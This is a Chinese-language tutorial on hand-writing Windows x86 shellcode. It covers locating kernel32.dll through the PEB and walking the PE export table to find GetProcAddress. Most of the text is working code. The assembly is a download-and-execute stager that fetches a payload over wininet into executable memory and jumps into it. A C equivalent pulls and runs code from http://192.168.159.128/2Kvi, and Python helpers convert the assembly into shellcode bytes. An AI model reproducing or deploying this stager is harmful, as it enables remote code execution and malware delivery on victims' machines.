Windows系统中编写Shellcode
字数 1459 2025-08-09 13:33:40
Windows系统Shellcode编写详解
1. 查找kernel32.dll基址
在Windows系统中编写Shellcode,首先需要获取kernel32.dll的基址,因为其中包含了重要的API函数如GetProcAddress和LoadLibraryA。
1.1 通过PEB结构查找
- PEB结构:进程环境块(PEB)包含加载模块的信息
- 查找路径:
- PEB -> Ldr -> InMemoryOrderModuleList -> Blink -> Blink -> Blink+0x10 = kernel32.dll基址
1.2 关键数据结构
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList; // 需要用到这个
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY;
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase; // 这里就是dll的基址,对于InMemoryOrderLinks位置偏移是0x10
// 其他成员省略...
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
2. PE文件格式解析
要获取kernel32.dll中的导出函数,需要理解PE文件格式。
2.1 关键PE结构
-
IMAGE_DOS_HEADER
e_lfanew(偏移0x3C):指向IMAGE_NT_HEADERS
-
IMAGE_NT_HEADERS
Signature(偏移0x0)FileHeader(偏移0x4)OptionalHeader(偏移0x18)
-
IMAGE_OPTIONAL_HEADER
DataDirectory(偏移0x60):包含导出表信息
-
IMAGE_EXPORT_DIRECTORY
AddressOfFunctions(偏移0x1C):函数地址偏移量数组AddressOfNames(偏移0x20):函数名偏移量数组AddressOfNameOrdinals(偏移0x24):函数序号数组
2.2 查找导出函数流程
- 从IMAGE_DOS_HEADER(e_lfanew)获取IMAGE_NT_HEADERS偏移
- IMAGE_NT_HEADERS+0x18+0x60获取IMAGE_DATA_DIRECTORY
- kernel32地址+IMAGE_EXPORT_DIRECTORY偏移地址到IMAGE_EXPORT_DIRECTORY
- 获取0x1C(AddressOfFunctions)、0x20(AddressOfNames)、0x24(AddressOfNameOrdinals)三个偏移
3. 获取GetProcAddress地址
以下是获取GetProcAddress函数地址的汇编代码:
mov edx,[ebx+0x3c] ; 获取IMAGE_NT_HEADERS的起始地址(偏移)
add edx,ebx ; 加上kernel32的地址
mov edx, [edx+0x78] ; 获取IMAGE_EXPORT_DIRECTORY的偏移地址
add edx, ebx ; 加上kernel32的地址
mov esi, [edx+0x20] ; 获取AddressOfNames偏移地址
add esi, ebx ; 加上kernel32的地址
xor ecx,ecx ; ecx清零
Get_Function:
inc ecx ; 计数器加1
lodsd ; 取当前字符串偏移到eax
add eax,ebx ; 获取完整字符串地址
cmp dword ptr [eax], 0x50746547 ; 比较"GetP"
jnz Get_Function
cmp dword ptr [eax+4], 0x41636f72 ; 比较"rocA"
jnz Get_Function
; 获取函数序号
mov esi, [edx+0x24] ; AddressOfNameOrdinals
add esi, ebx
mov cx, [esi + ecx * 2] ; 获取序号
dec ecx
; 获取函数地址
mov esi, [edx+0x1c] ; AddressOfFunctions
add esi, ebx
mov edx, [esi + ecx * 4] ; 获取函数偏移
add edx, ebx ; 获取完整函数地址
4. Shellcode编写示例
以下是一个完整的Shellcode汇编示例,实现从URL下载并执行代码:
int __declspec(naked) main()
{
__asm {
; 获取kernel32.dll基址
xor ecx,ecx
mov eax,fs:[ecx+0x30]
mov eax, [eax+0xC]
mov esi, [eax+0x14]
lodsd
xchg eax, esi
lodsd
mov ebx,[eax+0x10]
; 获取GetProcAddress地址(同上)
; ...
; 获取LoadLibraryA地址
xor ecx, ecx
push ebx ; kernel32.dll基址
push edx ; GetProcAddress函数地址
push ecx ; push 0
push 0x41797261 ; "aryA"
push 0x7262694c ; "Libr"
push 0x64616f4c ; "Load"
push esp ; 字符串指针
push ebx ; kernel32.dll基址
call edx ; 调用GetProcAddress
; 加载wininet.dll
mov esi, eax
add esp, 0xc
push 0x6c6c64 ; "dll"
push 0x2e74656e ; "net."
push 0x696e6977 ; "wini"
push esp
call esi
; 获取InternetOpenA地址
add esp, 0xc
mov edx, dword ptr[esp+4] ; GetProcAddress
push 0x00000041
push 0x6e65704f ; "Open"
push 0x74656e72 ; "rnet"
push 0x65746e49 ; "Inte"
mov edi, eax ; wininet.dll基址
push esp ; "InternetOpenA"
push eax ; wininet.dll基址
call edx ; 调用GetProcAddress
; 其他函数获取类似...
; 调用InternetOpenA
mov edx, dword ptr [esp+0xc]
push 0
push 0
push 0
push 1
push 0
call edx
; 调用InternetOpenUrlA
mov edx, dword ptr[esp + 0x8]
; ...设置URL参数...
call edx
mov edi, eax
; 调用VirtualAlloc分配内存
mov edx, dword ptr[esp + 0x4]
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x400000 ; 大小
push 0 ; 地址
call edx
mov esi, eax
; 调用InternetReadFile读取数据
mov edx, dword ptr [esp]
push ebp
push 0x400000
push eax
push edi
call edx
; 执行下载的代码
jmp esi
}
}
5. 常见问题与解决方案
5.1 字符串处理技巧
- 字符串压栈:将字符串分成4字节块逆序压栈
- 辅助脚本:使用Python脚本自动生成push指令
import re
a = "VirtualAlloc"
func = a.encode().hex()
list = re.findall("..", func)
while(len(list)%4 !=0):
list.append("00")
list_ = list[::-1]
n = 0
print("push 0x", end="")
for i in list_:
if n == 4:
print("\npush 0x", end="")
n = 0
print(i, end="")
n = n + 1
5.2 平台差异问题
- Win10与Win7差异:Win10下CALL寄存器后会置零,Win7不会
- 解决方案:显式使用
xor edx,edx清零寄存器
5.3 URL处理
- 问题:URL放在ESP上方可能无法读取
- 解决方案:将ESP降到比EBP低,将URL放在EBP下方
6. 汇编转Shellcode工具
使用x32dbg提取汇编代码后,可用Python脚本转换为Shellcode格式:
import re
a = open("asm.txt", "r")
asm_ = a.read().split("\n")
asm_command = ""
for i in asm_:
asm_command += i.split("|")[1].replace(" ","").replace(":", "")
asm_command_list = re.findall("..", asm_command)
print("\\x".join(asm_command_list))
7. 功能等效的C代码
#include<Windows.h>
#include<wininet.h>
#pragma comment (lib, "wininet.lib")
int main() {
HINTERNET Session = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET Http = InternetOpenUrlA(Session, "http://192.168.159.128/2Kvi", NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
LPVOID a = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD dwRealWord;
BOOL response = InternetReadFile(Http, a, 0x400000, &dwRealWord);
((void(*)())a)();
return 0;
}
总结
编写Windows Shellcode的关键步骤:
- 获取kernel32.dll基址
- 解析PE结构找到导出表
- 获取GetProcAddress和LoadLibraryA地址
- 加载所需DLL并获取其他API函数
- 调用API实现所需功能
- 处理平台差异和特殊问题